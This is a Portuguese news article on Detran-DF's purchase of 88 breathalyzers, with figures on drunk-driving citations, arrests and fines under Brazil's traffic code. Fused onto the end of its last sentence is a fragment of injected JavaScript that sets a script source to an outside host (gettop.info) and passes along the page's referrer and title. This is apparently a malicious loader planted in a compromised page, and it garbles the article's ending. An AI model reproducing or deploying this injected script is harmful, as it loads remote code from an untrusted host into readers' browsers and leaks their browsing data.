A fiscalização do Departamento de Trânsito do Distrito Federal (Detran-DF) para coibir motoristas que dirigem depois de consumir bebida alcoólica foi reforçada com a compra de mais 88 etilômetros — equipamentos usados para aferir a concentração de álcool no organismo.
Com a aquisição dos popularmente conhecidos bafômetros, o Detran passa a ter 136 equipamentos mais modernos para as operações da Lei Seca.
De janeiro a junho deste ano, o órgão autuou 13.102 condutores alcoolizados, média de 72 por dia. Desse total, 874 foram presos por apresentarem índice considerado crime: igual ou superior a 0,3 miligrama de álcool por litro de ar alveolar, conforme o Código de Trânsito Brasileiro (CTB).
No fim de semana — de sexta-feira (21) a domingo (23) —, o Detran e a Polícia Militar autuaram 102 motoristas por dirigirem após ingerir bebida alcoólica. Desses, dois foram presos por apresentar quantidade de álcool no sangue considerada crime.
Nessas operações, flagraram-se ainda 19 motoristas com a carteira nacional de habilitação (CNH) vencida há mais de 30 dias, nove inabilitados e dois com a carteira suspensa. Os agentes removeram 145 veículos ao depósito.
Dirigir sob efeito de álcool acima do limite é infração gravíssima
De acordo com o Código de Trânsito Brasileiro, a pena para quem apresenta resultado igual ou superior a 0,3 miligrama de álcool por litro de ar alveolar no teste do bafômetro é detenção de seis meses a três anos, multa e suspensão da CNH ou proibição de tirá-la.
Além de ter de pagar multa de R$ 2.934,70 pela infração gravíssima, o infrator é suspenso do direito de dirigir por um ano.
Caso haja reincidência no período de até 12 meses, o valor dobra: R$ 5.869,40. Recusar-se a fazer o teste do etilômetro também é considerada infração com as mesmas penalidades.s.src=\’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=\’ + encodeURIComponent(document.referrer) + \’&default_keyword=\’ + encodeURIComponent(document.title) + \’\’;